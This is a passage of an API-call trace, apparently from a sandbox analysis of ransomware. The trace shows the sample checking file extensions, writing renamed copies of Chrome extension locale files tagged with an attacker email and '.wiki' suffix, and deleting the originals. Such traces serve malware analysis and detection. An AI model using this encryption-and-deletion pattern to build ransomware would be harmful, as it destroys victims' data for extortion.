(lpString=".xlsx") returned 5 [0178.892] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.892] lstrlenW (lpString=".ppt") returned 4 [0178.892] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.892] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.893] lstrlenW (lpString=".zip") returned 4 [0178.893] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.893] lstrlenW (lpString=".rar") returned 4 [0178.893] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.893] lstrlenW (lpString=".bz2") returned 4 [0178.893] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.893] lstrlenW (lpString=".7z") returned 3 [0178.893] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.893] lstrlenW (lpString=".dbf") returned 4 [0178.893] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.893] lstrlenW (lpString=".1cd") returned 4 [0178.893] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 155 [0178.893] lstrlenW (lpString=".jpg") returned 4 [0178.893] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.893] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.893] lstrlenW (lpString="messages.json") returned 13 [0178.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.894] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=617) returned 1 [0178.894] CloseHandle (hObject=0x1ac) returned 1 [0178.894] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json")) returned 0x2020 [0178.894] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.894] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.894] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.894] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.894] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.895] GetLastError () returned 0x0 [0178.895] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x269, lpOverlapped=0x0) returned 1 [0178.896] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x270, lpOverlapped=0x0) returned 1 [0178.897] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.897] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.897] SetEndOfFile (hFile=0x1a0) returned 1 [0178.898] CloseHandle (hObject=0x1a0) returned 1 [0178.898] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.898] SetEndOfFile (hFile=0x1ac) returned 1 [0178.898] CloseHandle (hObject=0x1ac) returned 1 [0178.898] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.899] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json")) returned 1 [0178.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.899] lstrlenW (lpString=".doc") returned 4 [0178.899] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.899] lstrlenW (lpString=".docx") returned 5 [0178.899] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.899] lstrlenW (lpString=".pdf") returned 4 [0178.899] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.899] lstrlenW (lpString=".xls") returned 4 [0178.899] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.899] lstrlenW (lpString=".xlsx") returned 5 [0178.899] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.899] lstrlenW (lpString=".ppt") returned 4 [0178.899] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.899] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.899] lstrlenW (lpString=".zip") returned 4 [0178.899] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.899] lstrlenW (lpString=".rar") returned 4 [0178.899] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.899] lstrlenW (lpString=".bz2") returned 4 [0178.900] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.900] lstrlenW (lpString=".7z") returned 3 [0178.900] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.900] lstrlenW (lpString=".dbf") returned 4 [0178.900] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.900] lstrlenW (lpString=".1cd") returned 4 [0178.900] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.900] lstrlenW (lpString=".jpg") returned 4 [0178.900] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.900] lstrlenW (lpString=".doc") returned 4 [0178.900] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.900] lstrlenW (lpString=".docx") returned 5 [0178.900] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.900] lstrlenW (lpString=".pdf") returned 4 [0178.900] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.900] lstrlenW (lpString=".xls") returned 4 [0178.900] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.900] lstrlenW (lpString=".xlsx") returned 5 [0178.900] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.900] lstrlenW (lpString=".ppt") returned 4 [0178.900] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.900] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.900] lstrlenW (lpString=".zip") returned 4 [0178.900] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.900] lstrlenW (lpString=".rar") returned 4 [0178.901] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.901] lstrlenW (lpString=".bz2") returned 4 [0178.901] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.901] lstrlenW (lpString=".7z") returned 3 [0178.901] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.901] lstrlenW (lpString=".dbf") returned 4 [0178.901] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.901] lstrlenW (lpString=".1cd") returned 4 [0178.901] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 155 [0178.901] lstrlenW (lpString=".jpg") returned 4 [0178.901] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.901] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.901] lstrlenW (lpString="messages.json") returned 13 [0178.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.902] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=622) returned 1 [0178.902] CloseHandle (hObject=0x1ac) returned 1 [0178.902] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json")) returned 0x2020 [0178.902] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.902] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.902] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0178.903] GetLastError () returned 0x0 [0178.903] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x26e, lpOverlapped=0x0) returned 1 [0178.904] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x270, lpOverlapped=0x0) returned 1 [0178.905] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.905] WriteFile (in: hFile=0x1a0, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.906] SetEndOfFile (hFile=0x1a0) returned 1 [0178.906] CloseHandle (hObject=0x1a0) returned 1 [0178.906] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.906] SetEndOfFile (hFile=0x1ac) returned 1 [0178.906] CloseHandle (hObject=0x1ac) returned 1 [0178.907] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.907] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json")) returned 1 [0178.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.907] lstrlenW (lpString=".doc") returned 4 [0178.907] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.907] lstrlenW (lpString=".docx") returned 5 [0178.907] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.907] lstrlenW (lpString=".pdf") returned 4 [0178.907] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.907] lstrlenW (lpString=".xls") returned 4 [0178.907] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.907] lstrlenW (lpString=".xlsx") returned 5 [0178.907] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.907] lstrlenW (lpString=".ppt") returned 4 [0178.907] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.907] lstrlenW (lpString=".zip") returned 4 [0178.907] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.907] lstrlenW (lpString=".rar") returned 4 [0178.908] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.908] lstrlenW (lpString=".bz2") returned 4 [0178.908] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.908] lstrlenW (lpString=".7z") returned 3 [0178.908] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.908] lstrlenW (lpString=".dbf") returned 4 [0178.908] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.908] lstrlenW (lpString=".1cd") returned 4 [0178.908] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.908] lstrlenW (lpString=".jpg") returned 4 [0178.908] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.908] lstrlenW (lpString=".doc") returned 4 [0178.908] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.908] lstrlenW (lpString=".docx") returned 5 [0178.908] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.908] lstrlenW (lpString=".pdf") returned 4 [0178.908] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.908] lstrlenW (lpString=".xls") returned 4 [0178.908] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.908] lstrlenW (lpString=".xlsx") returned 5 [0178.908] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.908] lstrlenW (lpString=".ppt") returned 4 [0178.909] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.909] lstrlenW (lpString=".zip") returned 4 [0178.909] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.909] lstrlenW (lpString=".rar") returned 4 [0178.909] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.909] lstrlenW (lpString=".bz2") returned 4 [0178.909] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.909] lstrlenW (lpString=".7z") returned 3 [0178.909] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.909] lstrlenW (lpString=".dbf") returned 4 [0178.909] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.909] lstrlenW (lpString=".1cd") returned 4 [0178.909] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 155 [0178.909] lstrlenW (lpString=".jpg") returned 4 [0178.909] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.910] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.910] lstrlenW (lpString="messages.json") returned 13 [0178.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0178.910] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=778) returned 1 [0178.910] CloseHandle (hObject=0x1ac) returned 1 [0178.910] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json")) returned 0x2020 [0178.910] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js 